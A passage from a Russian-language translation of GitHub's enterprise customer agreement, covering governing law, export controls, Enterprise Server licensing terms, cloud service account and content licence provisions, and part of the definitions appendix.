данных и трудовое законодательство. + +### 1.13. Общие положения + +#### 1.13.1. Применимое право; место рассмотрения споров + +Если главный офис Клиента находится в Америке, настоящее Соглашение будет регулироваться и толковаться в соответствии с законами штата Калифорния, без учета принципов коллизионного права; любые судебные иски или разбирательства, возникающие в связи с настоящим Соглашением, будут подаваться исключительно в федеральные суды или суды штата, расположенные в Северном округе Калифорнии, и настоящим Стороны соглашаются на личную юрисдикцию и место проведения в нем. Если главный офис Клиента находится за пределами Америки, настоящее Соглашение будет регулироваться законодательством Ирландии, любые судебные иски или разбирательства, возникающие в связи с настоящим Соглашением, будут рассматриваться исключительно в судах, расположенных в Дублине, и Стороны настоящим соглашаются на личную юрисдикцию и место проведения в нем. Стороны прямо соглашаются с тем, что Конвенция Организации Объединенных Наций о договорах международной купли-продажи товаров и Единообразный закон о сделках с компьютерной информацией не будут применяться к настоящему Соглашению. Несмотря на любые положения об обратном в вышеизложенном, GitHub может подать иск о справедливой правовой помощи в любой суд с надлежащей юрисдикцией. + +#### 1.13.2. Пользователи, являющиеся государственными организациями в США + +Продукты разрабатывались исключительно на средства частного капитала и считаются Коммерческим программным обеспечением и Документацией для коммерческого программного обеспечения, как описано в постановлениях о федеральных закупках США 12.212 и 27.405-3, а также в приложении к федеральному положению о военных закупках 227.7202-3. Продукты лицензированы для применения правительственными организациями США как программное обеспечение ограниченного применения и данные с ограниченными правами. Технические данные или компьютерное программное обеспечение не разрабатываются в рамках настоящего Соглашения. В отношении использования, раскрытия, модификации, распространения и воспроизведения Продуктов и Документации правительственными организациями США и их подрядчиками действуют ограничения, установленные настоящим Соглашением. Все остальные способы использования запрещены. + +#### 1.13.3. Экспорт + +В отношении Продуктов действуют экспортные ограничения, введенные правительством США, и импортные ограничения, введенные отдельными правительствами зарубежных стран, и Клиент обязуется соблюдать все действующие законы об импорте и экспорте в процессе использования Продуктов. Клиент не должен (и не должен разрешать третьим лицам) удалять или экспортировать/реэкспортировать из США любую часть Продуктов или любой из продуктов в их составе: (i) на территорию (или гражданам и жителям) стран, в отношении которых введено эмбарго, или стран, поддерживающих террористическую деятельность; (ii) любым лицам, включенным в Таблицу отказов в заказах Министерства торговли США или Гражданам особых категорий (SDN) согласно постановлению Министерства финансов США; (iii) во все страны, для которых установлены ограничения или запрет на экспорт или реэкспорт и для которых правительством США или иной правительственной организацией требуется лицензия на экспорт или иные разрешительные документы в момент экспорта или реэкспорта, если такая лицензия или разрешения не получены заблаговременно; и (iv) иным способом, который нарушает ограничения импорта и экспорта, законы и нормативы правительства США и правительств зарубежных стран. Клиент заверяет и гарантирует, что (а) Клиент не находится на территории запрещенных стран или на территории под их контролем, не является гражданином или жителем любой из таких запрещенных стран и не включен в список запрещенных лиц, а также (b) никакие данные Клиента не подпадают под контроль в соответствии с Правилами международной торговли оружием США. Клиент подтверждает и соглашается с тем, что в отношении Продуктов действует ограничение на использование для проектирования и разработки ядерного, химического и биологического оружия, а также ракетных технологий, если на такое использование предварительно не получено разрешение правительства США. + +#### 1.13.4. Запрет на несанкционированное размещение информации в открытом доступе + +GitHub вправе идентифицировать Клиента как клиента при взаимодействии с текущими и потенциальными клиентами. Однако GitHub не вправе использовать имя и логотип Клиента в рекламных и маркетинговых материалах без разрешения Клиента. + +#### 1.13.5. Передача прав и обязанностей + +Ни одна из Сторон не может переуступать или иным образом передавать настоящее Соглашение полностью или частично без предварительного письменного согласия другой Стороны, в таком согласии не может быть необоснованно отказано, и любая попытка сделать это будет недействительной, за исключением того, что GitHub может переуступить это Соглашение в полном объеме, после уведомления другой стороны, но без согласия другой стороны, в связи со слиянием, поглощением, корпоративной реорганизацией или продажей всего или практически всего бизнеса или активов передающей стороны. + +#### 1.13.6. Уведомления + +Если иное не указано в этом документе, все уведомления, запросы, требования и другие информационные сообщения в рамках этого Соглашения должны быть оформлены в письменном виде (электронная почта является допустимым методом), должны ссылаться на это Соглашение и будут считаться должным образом предоставленными в следующих случаях: (i) после получения, если оно доставлено лично; (ii) через один рабочий день после подтверждения получения предполагаемым получателем, если отправлено по электронной почте; (iii) через пять рабочих дней после его отправки посредством заказной почты с письменным подтверждением получения или по эл. почте или (iv) через три рабочих дня после передачи отправления международной курьерской службе или отправки по эл. почте с письменным подтверждением получения. Уведомления можно отправлять на адреса, указанные в этом Соглашении, если только Сторона не уведомит другую Сторону об изменении этих адресов. + +#### 1.13.7. Форс-мажор + +GitHub освобождается от ответственности в той мере, в какой он не может выполнить какое-либо обязательство по настоящему Соглашению из-за чрезвычайных обстоятельств, находящихся вне его разумного контроля, включая стихийные бедствия, природные катастрофы, забастовки, локауты, беспорядки, военные действия, эпидемии или сбои в электроснабжении, телекоммуникации или сети. + +#### 1.13.8. Независимые подрядчики + +Каждая Сторона является независимым подрядчиком в отношении предмета настоящего Соглашения. Ничто, содержащееся в настоящем Соглашении, не будет считаться или истолковываться каким-либо образом для создания юридического объединения, товарищества, совместного предприятия, занятости, агентства, фидуциарных или других подобных отношений между Сторонами, и ни одна из Сторон не может связывать другую договорными обязательствами. + +#### 1.13.9. Отказ от прав + +Отказ Стороны от обязательств по настоящему Соглашению может быть осуществлен только в письменной форме за подписью уполномоченного представителя другой Стороны. Никакое неисполнение или задержка Стороной настоящего Соглашения в осуществлении какого-либо права по настоящему Соглашению не будет действовать как отказ от него, и никакое единичное или частичное его осуществление не будет препятствовать любому другому или дальнейшему его осуществлению или осуществлению любого права по настоящему Соглашению по закону или праву справедливости. + +#### 1.13.10. Полнота Соглашения + +Настоящее Соглашение вместе с приложениями, Формами заказа и ТЗ образует полное соглашение между Сторонами в отношении предмета, отменяет и заменяет собой все предшествующие или существующие договоренности и соглашения в устной или письменной форме между Сторонами в отношении такого предмета. Условия заказа на покупку Клиента, письменные условия и положения и иные документы, отправленные Клиентом в GitHub, которые содержат условия, отличные от условий в настоящем Соглашении, Форме заказа или ТЗ или дополняющие их, считаются недействительными и не имеющими юридической силы. + +#### 1.13.11. Поправки и изменения; приоритетность + +GitHub оставляет за собой право по своему усмотрению вносить поправки в настоящее Соглашение в любое время и будет обновлять настоящее Соглашение в случае внесения любых таких поправок. GitHub уведомит Клиента о существенных изменениях в настоящем Соглашении, таких как повышение цен, по крайней мере за 30 дней до вступления изменения в силу, разместив уведомление в Сервисе или отправив электронное письмо на основной адрес электронной почты, указанный в вашей учетной записи GitHub. Продолжение использования Клиентом Услуги по истечении этих 30 дней означает согласие с этими изменениями настоящего Соглашения. Что касается любых других изменений, дальнейшее использование Клиентом Сервиса означает согласие с нашими изменениями настоящего Соглашения. Клиент может просмотреть все изменения к настоящему Соглашению в нашем репозитории [Политика сайта](https://github.com/github/site-policy). В случае каких-либо противоречий между условиями настоящего Соглашения и любой Формы заказа или ТЗ, условия Формы заказа или ТЗ имеют преимущественную силу только в отношении этой Формы заказа или ТЗ. + +#### 1.13.12. Независимость положений Соглашения + +Если какое-либо положение настоящего Соглашения будет признано судом компетентной юрисдикции незаконным, недействительным или не имеющим исковой силы, Стороны изменят или реформируют настоящее Соглашение, чтобы придать этому положению максимальную силу. Любое положение, которое не может быть изменено или исправлена таким образом, будет считаться удаленным, а остальные положения настоящего Соглашения останутся в полной силе и действии. + + +## РАЗДЕЛ 2. УСЛОВИЯ ЛИЦЕНЗИРОВАНИЯ GITHUB ENTERPRISE SERVER + +Этот раздел 2 уточняет термины, применяемые в отношении использования этого Программного обеспечения Клиентом. + +### 2.1. Предоставление лицензии + +GitHub предоставляет Клиенту неисключительную, не подлежащую передаче, глобальную, не предусматривающую уплаты роялти лицензию с ограниченным сроком действия на установку и использование Программного обеспечения для внутренних коммерческих целей Клиента в течение текущего Срока действия подписки в соответствии с Документацией и только на такое количество Лицензий на подписку, которое указано в Форме заказа Клиента. Программное обеспечение включает компоненты, лицензированные для GitHub третьими лицами, включая программное обеспечение, лицензии на которое предполагают, что GitHub предоставит доступ к исходному коду этих компонентов. Исходный код таких компонентов будет предоставляться по запросу. Без ущерба для вышеизложенных положений настоящая лицензия разрешает Клиенту загружать и запускать образ контейнера Microsoft SQL Server Standard Edition для файлов Linux (**Образы SQL Server**), которые можно использовать только для Программного обеспечения в соответствии с документацией. Право Клиента на использование Образов SQL Server прекращается, если Клиент теряет право на использование Программного обеспечения, и Клиент должен удалить Образы SQL Server после прекращения права Клиента на использование. Корпорация Microsoft может отключить Образы SQL Server в любое время. + +### 2.2 Ограничения для Лицензии + +За исключением случаев, когда это прямо разрешено законодательством или действующей сторонней лицензией, Клиент и его Аффилированные лица не должны (и не должны разрешать третьим лицам): (i) сублицензировать, продавать, арендовать, передавать, назначать или перераспределять Программное обеспечение; (ii) размещать Программное обеспечение в пользу третьих лиц; (iii) раскрывать или разрешать третьим лицам осуществлять доступ к Программному обеспечению, за исключением случаев, когда это явно разрешено положениями раздела 2; (iv) взламывать или изменять Ключ лицензии, обходить или изменять процедуру регистрации лицензии; (v) за исключением Модификаций Клиента, изменять и создавать производные работы на основе Программного обеспечения или объединять Программное обеспечение с другим программным обеспечением; (vi) дизассемблировать, декомпилировать, обходить обфускацию кода и иным образом деконструировать Программное обеспечение либо пытаться полностью или частично извлечь его исходный код; (vii) изменять, скрывать или удалять уведомления об авторском праве, включенные в Программное обеспечение или Документацию; (viii) использовать или копировать Программное обеспечение или Документацию способом, который не разрешен положениями настоящего Соглашения. + +### 2.3. Доставка + +GitHub сделает Ключ лицензии доступным для загрузки Клиентом на безопасном, защищенном паролем веб-сайте. Доставка в соответствии с разделом 2 осуществляется в электронном формате. Во избежание двусмысленного толкования: Клиент несет ответственность за установку любого Программного обеспечения и подтверждает, что GitHub не несет никаких дополнительных обязательств по доставке Программного обеспечения после доставки Ключа лицензии. По мере появления Обновлений GitHub обязуется сделать их доступными для загрузки на том же веб-сайте. Клиент обязуется обновлять Программное обеспечение за обоснованную плату, но не менее одного раза в год. Клиент отвечает за обеспечение конфиденциальности имен пользователя и паролей Клиента. + +### 2.4. Верификация + +По запросу GitHub Клиент обязуется в кратчайший срок предоставить GitHub отчет, созданный Программным обеспечением, чтобы подтвердить, что Клиент использует Программное обеспечение в соответствии с условиями настоящего Соглашения. GitHub будет выставлять Клиенту счет за все случаи дополнительного использования, начиная с даты, когда объем такого использования впервые превысит объем, предусмотренный Соглашением. + +### 2.5. Обновления; Выпуски + +#### 2.5.1. Общие положения + +GitHub обязуется сделать Обновления и Выпуски программного обеспечения доступными для Клиента на том же защищенном веб-сайте, где Клиент загрузил Программное обеспечение и Ключ лицензии. + +#### 2.5.2. Поддерживаемые Выпуски + +GitHub обязуется поддерживать только указанный Выпуск Программного обеспечения в течение одного года с даты первоначального Выпуска или шести месяцев с момента последнего Обновления Выпуска в зависимости от того, какой срок более продолжителен. Если клиенту требуется поддержка более ранних Выпусков программного обеспечения, клиент должен заплатить за поддержку в соответствии с условиями взаимно согласованной Формы заказа или ТЗ. + +### 2.6 Рекомендации по защите данных при использовании GitHub Insights и Учебной лаборатории для Enterprise Server + +Если планируемое использование Клиентом GitHub Enterprise или Учебной лаборатории предполагает обработку персональных данных, то Клиент несет единоличную ответственность, определяя необходимость выполнения оценки влияния на защиту данных или проведение официального законного анализа планируемого использования Клиента иным способом. Клиент по собственному усмотрению решает, требуется ли использование GitHub Insights или Учебной лаборатории для Enterprise Server для обработки данных пользователей и сотрудников Клиента, и, если Клиент придет к такому решению, он самостоятельно несет ответственность за такую обработку в соответствии с действующим законодательством. + + +### РАЗДЕЛ 3. УСЛОВИЯ ПРЕДОСТАВЛЕНИЯ УСЛУГ ДЛЯ ОБЛАКА ПРЕДПРИЯТИЯ GITHUB + +В этом разделе 3 приводится подробное описание условий, применяемых в отношении использования Сервиса Клиентом, если Клиентом или GitHub от имени Клиента создана Корпоративная учетная запись и/или Организация в Сервисе. + +### 3.1. Условия учетной записи + +#### 3.1.1. Контроль учетных записей + +**(i) Пользователи.** Клиент признает, что Пользователи сохраняют за собой окончательный административный контроль над своими индивидуальными учетными записями и Контентом в них. [Стандартные условия обслуживания GitHub](/github/site-policy/github-terms-of-service) регулируют использование Пользователями Сервиса, за исключением действий Пользователей в соответствии с настоящим разделом 3. + +**(ii) Организации.** Клиент сохраняет за собой окончательный административный контроль над любой организацией, созданной от имени Клиента, и пользовательским контентом, размещенным в репозиториях его Организации, в соответствии с положениями раздела 3. Этот раздел 3 регулирует использование Организаций Клиента. + +#### 3.1.2. Требования к учетной записи + +Для создания учетной записи Клиент должен соблюдать следующее: + +**(i)** Клиент не должен создавать учетную запись для использования любым лицом младше 13 лет. Если GitHub узнает о каком-либо Пользователе младше 13 лет, он немедленно удалит учетную запись этого Пользователя. Если Клиент или его Пользователи находятся за пределами США, минимальный возраст в этой стране может быть выше; в таком случае Клиент несет ответственность за соблюдение законов этой страны. + +**(ii)** Логин пользователя не может использоваться несколькими людьми. + +**(iii)** Клиент не должен использовать Сервис (а) в нарушение законов об экспортном контроле или санкциях США или любой другой применимой юрисдикции; (b) если он находится или обычно проживает в стране или на территории, на которую распространяются санкции, применяемые Управлением по контролю за иностранными активами США (OFAC); (c) если Клиент является [Гражданином особой категории (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) или лицом, подвергающимся аналогичной блокировке или запретам для исключенных лиц, или работает от имени такого гражданина или лица. Для получения дополнительной информации см. [Политику экспортного контроля GitHub](/articles/github-and-export-controls). + +#### 3.1.3. Безопасность учетной записи + +Клиент несет ответственность за следующее: (i) весь Контент, размещенный под его Корпоративной учетной записью, и действия, которые происходят под его корпоративной учетной записью; (ii) обеспечение безопасности своих учетных данных для входа в учетную запись; (iii) [оперативное уведомление GitHub](https://support.github.com/contact?tags=docs-policy) после того, как станет известно о любом несанкционированном использовании Сервиса или доступе к нему через его учетную запись. GitHub не несет ответственности за какие-либо убытки или ущерб в результате несоблюдения Клиентом настоящего раздела 3.1.3. + +#### 3.1.4. Дополнительные условия + +В некоторых случаях к использованию Клиентом Сервиса могут применяться условия третьих лиц. Например, Клиент может быть членом Организации со своими условиями или лицензионными соглашениями; Клиент может загрузить приложение, которое интегрируется с Сервисом; или Клиент может использовать Сервис для аутентификации в другом сервисе. Хотя настоящее Соглашение является полным соглашением GitHub с Клиентом, условия других сторон регулируют их отношения с Клиентом. + +#### 3.1.5. Условия Федерального правительства США + +Если Клиент является федеральным органом власти США или если Клиент иным образом получает доступ к Сервису или использует любую его часть в государственном качестве, применяется [Поправка Федерального правительства США](/articles/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users) и Клиент соглашается с ее положениями. + +### 3.2. Соблюдение законов; приемлемое использование; конфиденциальность + +#### 3.2.1. Соблюдение законодательства +Использование Клиентом Сервиса не должно нарушать никакое применимое право, включая законы об авторском праве или товарных знаках, законы об экспортном контроле или правила в его юрисдикции. + +#### 3.2.2. Допустимое использование +Использование Клиентом Сервиса должно соответствовать [Политикам допустимого использования GitHub](/articles/github-acceptable-use-policies) и [Правилам сообщества GitHub](/articles/github-community-guidelines). Клиент не должен использовать Сервис ни в какой юрисдикции для незаконного, непристойного, оскорбительного или мошеннического Контента или деятельности, такой как пропаганда или причинение вреда, вмешательство или нарушение целостности или безопасности сети или системы, уклонение от фильтров, отправка нежелательных, оскорбительных или вводящих в заблуждение сообщений, вирусов или вредоносного кода или нарушение прав третьих лиц. + +#### 3.2.3. Конфиденциальность +[Заявление о конфиденциальности GitHub](/articles/github-privacy-statement) и [дополнение о защите данных GitHub](/github/site-policy/github-data-protection-addendum) содержат подробное описание методов обеспечения конфиденциальности и использования данных GitHub, а также обязательств GitHub по обработке и обеспечению безопасности в отношении Персональных данных клиента. Любое физическое, юридическое лицо или служба, собирающие данные Сервиса, должны соблюдать [Заявление о конфиденциальности GitHub](/articles/github-privacy-statement), в частности в отношении сбора Личной информации пользователя (как определено в заявлении о конфиденциальности GitHub). Если Клиент собирает какую-либо Личную информацию пользователя с GitHub, Клиент будет использовать ее только в целях, для которых Внешний пользователь разрешил ее использовать. Клиент будет разумно защищать любую такую Личную информацию, и Клиент будет незамедлительно реагировать на жалобы, запросы на удаление и запросы «не связываться» от GitHub или Внешних пользователей. + +### 3.3. Ответственность за Контент; право собственности; лицензионные права + +#### 3.3.1. Ответственность за пользовательский контент +Клиент может создавать или загружать Пользовательский контент во время использования Сервиса. Клиент несет единоличную ответственность за любой Пользовательский контент, который он публикует, загружает, на который он дает ссылку или которой он иным образом делает доступным через Сервис, независимо от формы этого Пользовательского контента. GitHub не несет ответственности за публичный показ или неправомерное использование Пользовательского контента. + +#### 3.3.2. Право собственности на контент, право на публикацию и предоставление лицензий + +**(i)** Клиент сохраняет за собой право собственности на Контент клиента, который Клиент создает или которым он владеет. Клиент подтверждает, что он: (a) несет ответственность за Контент клиента, (b) будет предоставлять Контент клиента только в том случае, если Клиент имеет право публиковать (включая Контент третьих лиц или Пользовательский контент), и (c) будет полностью соблюдать любые сторонние лицензии, касающиеся Контента клиента, который Клиент публикует. + +**(ii)** Клиент предоставляет права, изложенные в разделах 3.3.3–3.3.6, бесплатно и для целей, указанных в этих разделах, до тех пор, пока Клиент не удалит Контент клиента с серверов GitHub, за исключением Контента, который был публично размещен Клиентом и для которого Внешними пользователями была создана вилка, и в этом случае лицензия является бессрочной до тех пор, пока все вилки Контента клиента не будут удалены с серверов GitHub. Если Клиент загружает Контент клиента, который уже поставляется с лицензией, предоставляющей GitHub разрешения, необходимые для запуска Сервиса, дополнительная лицензия не требуется. + +#### 3.3.3. Предоставление лицензии GitHub +Клиент предоставляет GitHub право хранить, анализировать и отображать Контент клиента, а также делать вспомогательные копии только в том случае, если это необходимо для предоставления Сервиса. Эта лицензия включает право копировать Контент Клиента в базу данных GitHub и делать резервные копии; отображать Контент Клиента Клиенту и тем, кому Клиент разрешит его показывать; анализировать Контент Клиента для включения в поисковый индекс или иным образом анализировать его на серверах GitHub; делиться Контентом Клиента с Внешними пользователями, с которым Клиент разрешит поделиться им; и воспроизводить Контент Клиента, если это что-то вроде музыки или видео. Эти права распространяются как на общедоступные, так и на Частные репозитории. Эта лицензия не предоставляет GitHub право продавать Контент Клиента или иным образом распространять или использовать его за пределами Сервиса. Клиент предоставляет GitHub права, необходимые для использования Контента клиента без указания авторства и для внесения разумных изменений в Контент клиента, необходимых для предоставления Сервиса. + +#### 3.3.4. Предоставление лицензии Внешним пользователям +**(i)** Любой Контент, публикуемый Клиентом публично, включая вопросы, комментарии и материалы в репозиториях Внешних пользователей, может просматриваться другими лицами. Настраивая свои репозитории для публичного просмотра, Клиент соглашается разрешить Внешним пользователям просматривать и создавать вилки репозиториев Клиента. + +**(ii)** Если Клиент настраивает свои страницы и репозитории для публичного просмотра, Клиент предоставляет Внешним пользователям неисключительную международную лицензию на использование, отображение и исполнение Контента Клиента через Сервис и воспроизведение Контента Клиента исключительно в Сервисе с использованием функций, предоставляемых GitHub (например, создание вилок). Клиент может предоставить дополнительные права на Контент Клиента, если Клиент [примет лицензию](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). Если Клиент загружает Контент Клиента, который он не создавал и которым он не владел, Клиент несет ответственность за обеспечение того, чтобы загружаемый им Контент Клиента был лицензирован в соответствии с условиями, которые предоставляют эти разрешения Внешним пользователям. + +#### 3.3.5. Вклады по лицензии репозитория +Всякий раз, когда Клиент добавляет данные в репозиторий, содержащий уведомление о лицензии, он лицензирует эти добавленные данные на тех же условиях и соглашается с тем, что он имеет право лицензировать такие данные на этих условиях. Если у Клиента есть отдельное соглашение о лицензировании этих данных на других условиях, например лицензионное соглашение участника, такое соглашение будет иметь преимущественную силу. + +#### 3.3.6. Моральные права +Клиент сохраняет за собой все моральные права на Контент клиента, который он загружает, публикует или отправляет в любую часть Сервиса, включая права на целостность и установление авторства. Однако Клиент отказывается от этих прав и соглашается не предъявлять их к GitHub исключительно для того, чтобы позволить GitHub разумно осуществлять права, представленные в разделе 3.3, но не в иных целях. + +### 3.4. Частные репозитории + +#### 3.4.1. Контроль +Клиент несет ответственность за управление доступом к своим Частным репозиториям, включая приглашения, административный контроль за Организациями и командами, а также за прекращением доступа. + +#### 3.4.2. Конфиденциальность +GitHub считает Контент клиента в Личных репозиториях клиента Конфиденциальной информацией клиента. GitHub будет защищать Контент Клиента в Частных репозиториях и соблюдать его строгую конфиденциальность в соответствии с разделом 1.4. + +#### 3.4.3. Доступ +Персонал GitHub может получить доступ к Частным репозиториям Клиента только в ситуациях, описанных в нашем [Заявлении о конфиденциальности](/github/site-policy/github-privacy-statement#repository-contents). + +Клиент может разрешить дополнительный доступ к своим Частным репозиториям. Например, Клиент может включить различные службы или функции GitHub, для которых требуются дополнительные права на Контент клиента в частных репозиториях. Эти права могут различаться в зависимости от службы или функции, но GitHub продолжит рассматривать Контент клиента в Частных репозиториях клиента как Конфиденциальную информацию клиента. Если для этих служб или функций требуются права в дополнение к тем, которые необходимы для предоставления Сервиса, GitHub даст объяснение по поводу этих прав. + +Кроме того, мы можем быть [обязаны по закону](/github/site-policy/github-privacy-statement#for-legal-disclosure) раскрывать содержимое ваших личных репозиториев. + +GitHub предоставит уведомление о нашем доступе к содержимому частного репозитория, если только речь не идет [о раскрытии информации по запросу](/github/site-policy/github-privacy-statement#for-legal-disclosure), для выполнения наших юридических обязательств или при наличии иных обязательств в соответствии с требованиями закона, для автоматического сканирования или в ответ на угрозу безопасности или другой риск для безопасности. + +### 3.5. Уведомления об интеллектуальной собственности + +#### 3.5.1. Права GitHub на Контент +Внешний вид Сервиса защищен авторским правом © GitHub, Inc. Все права защищены. Клиент не может дублировать, копировать или повторно использовать какую-либо часть HTML/CSS, Javascript или элементов или концепций визуального дизайна без письменного разрешения GitHub. + +#### 3.5.2. Нарушение авторских прав и политика DMCA + +Если Клиент является владельцем авторских прав и считает, что Контент в Сервисе нарушает авторские права Клиента, Клиент может обратиться в GitHub в соответствии с [политикой Закона об авторском праве в цифровую эпоху](https://github.com/contact/dmca) путем отправки уведомления GitHub посредством [формы DMCA](https://github.com/contact/dmca-notice) или по электронной почте copyright@github.com. + +#### 3.5.3. Торговые марки и логотипы GitHub + +Если Клиент хочет использовать товарные знаки GitHub, Клиент должен следовать всем правилам использования товарных знаков GitHub, в том числе на [странице "Логотипы GitHub и использование"](https://github.com/logos). + +### 3.6. Приостановка +GitHub имеет право приостановить доступ к всему Сервису или любой его части, включая удаление Контента, в любое время за нарушение настоящего Соглашения или для защиты целостности, работоспособности и безопасности Сервиса с немедленным вступлением в силу с уведомлением, если такое уведомление не запрещено законом или правовыми процедурами и не препятствует предотвращению непосредственного вреда Сервису или третьему лицу. GitHub обычно предоставляет уведомление в виде баннера или по электронной почте в момент такой приостановки или заблаговременно. GitHub по своему усмотрению и добросовестно адаптирует любую приостановку по мере необходимости для сохранения целостности, работоспособности и безопасности Сервиса. + +### 3.7. Соглашение об уровне обслуживания + +Ежеквартальное обязательство GitHub по времени доступности для Сервиса указано в [корпоративном соглашении об уровне обслуживания](/github/site-policy/github-enterprise-service-level-agreement). Клиент будет иметь право на льготное обслуживание, если GitHub не соответствует его уровню обслуживания. + +### 3.8. Изменения Сервиса +GitHub изменяет Сервис посредством обновлений и добавления новых функций. Согласно положениям раздела 3.7, GitHub оставляет за собой право в любое время изменять или прекращать, временно или постоянно, Сервис (или любую его часть) с уведомлением или без него. + +### 3.9. Дополнительные функции Сервиса + +На некоторые функции Сервиса могут распространяться дополнительные условия, изложенные в [Дополнительных условиях для продуктов GitHub](/github/site-policy/github-additional-product-terms). Получая доступ к этим функциям или используя их, Клиент соглашается с Дополнительными условиями для продуктов GitHub. + +## ПРИЛОЖЕНИЕ А. ОПРЕДЕЛЕНИЯ + +**"Активный пользователь"** означает, что пользователь пытается получить доступ к Сервису во время Сбоя. + +**"Программное обеспечение надстройки"** относится к расширенным функциям безопасности, аналитике, учебной лаборатории для Enterprise Server, а также дополнительному Программному обеспечению надстройки, которое может предлагаться GitHub. + +**"Расширенные функции безопасности"** означает функцию Программного обеспечения, которая позволяет Клиенту выявлять уязвимости безопасности с помощью настраиваемого автоматизированного анализа семантического кода. + +**"Аффилированное лицо"** означает любое юридическое лицо, которое прямо или косвенно контролирует сторону, контролируется стороной или находится под общим контролем со стороной, где "контроль" означает наличие более пятидесяти процентов (50 %) владения или права на управление юридическим лицом. + +**«Все пользователи»** означает совместно Пользователей клиента и Внешних пользователей, которые используют Сервис. + +**«Америка»** означает Соединенные Штаты, Канаду, Мексику или страну в Центральной или Южной Америке или Карибском бассейне. + +**«Предварительные бета-версии»** означают программное обеспечение, услуги или функции, обозначенные как альфа-, бета-версия, предварительная версия, ранний доступ или ознакомительная версия, а также слова или фразы с аналогичным значением. + +**«Конфиденциальная информация»** означает всю непубличную информацию, раскрываемую любой Стороной другим сторонам в письменной, устной или иной форме, обозначенной как конфиденциальная, или в отношении которой принимающая Сторона знает или разумно должна знать, при обстоятельствах, связанных с раскрытием, и характере информации, что она конфиденциальной для раскрывающей Стороны. Во избежание сомнений, никакой Контент, размещенный в Сервисе, не будет считаться Конфиденциальной информацией, за исключением Контента клиента, хранящегося исключительно в Частных репозиториях клиента. Конфиденциальная информация не включает в себя любую информацию, которая (i) была или стала общедоступной не по вине принимающей стороны; (ii) была по праву известна или становится по праву известна получающей Стороне без конфиденциальных или имущественных ограничений из источника, отличного от раскрывающей стороны, которая имеет право раскрывать ее; (iii) одобрена раскрывающей Стороной для раскрытия без ограничений в письменном документе, подписанном должным образом уполномоченным должностным лицом такой раскрывающей Стороны; (iv) получающая Сторона самостоятельно разрабатывает без доступа к Конфиденциальной информации другой Стороны или ее использования; или (v) хранится или размещалась в Сервисе и за пределами Частных репозиториев клиента. + +**Connect**, или **GitHub Connect** означает функцию, включенную в Программное обеспечение, которая позволяет Клиентам подключаться к Программному обеспечению посредством Сервиса. Использование GitHub Connect регулируется условиями GitHub Connect, изложенными в разделе [Дополнительные условия для продуктов GitHub](/github/site-policy/github-additional-product-terms). + +**"Контент"** означает, помимо прочего, текст, данные, статьи, изображения, фотографии, графику, программное обеспечение, приложения, проекты, функции и другие материалы, которые представлены, отображаются или иным образом доступны через Сервис. + +**«Корпоративная учетная запись»** означает учетную запись, созданную Пользователем от имени юридического лица. + +**"Клиент"** означает компанию или организацию, которая заключила настоящее Соглашение с GitHub, нажав кнопку "Я СОГЛАСЕН" или аналогичную кнопку или получив доступ к Продуктам, Аффилированным лицам и Представителям. + +**«Клиентский контент»** означает Контент, который Клиент создает, которым Клиент владеет или права на который принадлежат Клиенту. + +**"Модификации Клиентом"** означает модификации Программного обеспечения, которые Клиент вправе вносить самостоятельно по своему усмотрению в целях разработки исправления ошибок, индивидуальной настройки или дополнительных функций библиотек, лицензированных лицензиями с открытым кодом, которые могут быть включены в Программное обеспечение или связаны с ним. + +**"Документация"** означает любые руководства, документацию и другие вспомогательные материалы, относящиеся к Программному обеспечению или Сервису, которые GitHub предоставляет или делает доступными для Клиента. + +**"Дата вступления в силу"** является более ранней из дат, когда Клиент (i) соглашается с условиями настоящего Соглашения, как описано выше, или (ii) впервые размещает заказ на Продукты. + +**"Основные службы"**  — это службы, имеющие критическое значение для основных функций управления версиями GitHub, включая создание репозиториев, создание вилок и клонов; создание, фиксацию и слияние ветвей; создание, проверку и слияние запросов на вытягивание, а также веб-интерфейсы, API и клиентские интерфейсы Git с основными рабочими процессами Git. Ниже приведены примеры периферийных функций и служб, которые не включены в Программное обеспечение: веб-перехватчики, объекты Gist, страницы и уведомления по электронной почте. + +**«Внешний пользователь»** означает физическое лицо, не включая Пользователей клиента, которые посещают или используют Сервис. +"Сборы" означает сборы, которые Клиент должен заплатить GitHub за (i) использование Продуктов в течение применимого Срока действия Подписки или (ii) получение Профессиональных услуг, поскольку такие сборы отражаются в Форме заказа или ТЗ. + +**«Обратная связь»** означает любые идеи, ноу-хау, алгоритмы, дополнения к коду, предложения, запросы на улучшение, рекомендации или любые другие отзывы о продуктах или услугах GitHub. + +**"Сборы"** означает сборы, которые Клиент должен заплатить GitHub за (i) использование Продуктов в течение применимого Срока действия Подписки или (ii) получение Профессиональных услуг, поскольку такие сборы отражаются в Форме заказа или ТЗ. + +**«Вилка»** означает копирование Контента одного репозитория в другой репозиторий. + +**GitHub** означает GitHub, Inc., ее Аффилированных лиц и ее Представителей. + +**«Контент GitHub»** означает Контент, который GitHub создает, которым GitHub владеет или права на который принадлежат GitHub. + +**GitHub Insights**, или **Insights** — функция Программного обеспечения, которая предоставляет Клиентам метрики, аналитику и рекомендации, относящихся к использованию Программного обеспечения Клиентов. GitHub Insights не включает устаревшие функции GitHub, в том числе аналитику Организации и аналитику репозитория. + +**"Учебная лаборатория для Enterprise Server"** означает функцию Программного обеспечения, которая позволяет пользователям изучить функциональные возможности GitHub, в том числе сопутствующую Документацию. + +**"Ключ лицензии"** означает файл данных, используемый механизмом управления доступом к Программному обеспечению, который позволяет Клиенту устанавливать, эксплуатировать и использовать Программное обеспечение. + +**«Учетная запись компьютера»** означает учетную запись, зарегистрированную отдельным человеком, который принимает применимые условия обслуживания от имени Учетной записи компьютера, предоставляет действительный адрес электронной почты и несет ответственность за действия, выполняемые с использованием этой учетной записи. Учетная запись компьютера используется исключительно для выполнения автоматизированных задач. Несколько пользователей могут управлять действиями Учетной записи компьютера, но владелец учетной записи несет полную ответственность за действия компьютера. + +**"Форма заказа"** означает письменную или электронную документацию (включая расценки), которую Стороны могут использовать для заказа Продуктов. + +**«Организация»** означает общее рабочее пространство, которое может быть связано с одним юридическим лицом или с одним или несколькими Пользователями, где несколько Пользователей могут совместно работать над многими проектами одновременно. Пользователь может быть членом более чем одной Организации. + +**"Сбой"** означает прерывание работы Основной службы, которая затрагивает более 50 % Активных пользователей. + +**«Частный репозиторий»** означает репозиторий, который позволяет Пользователю контролировать доступ к Контенту. + +**"Профессиональные услуги"** означают услуги по обучению, консультированию или внедрению, которые GitHub 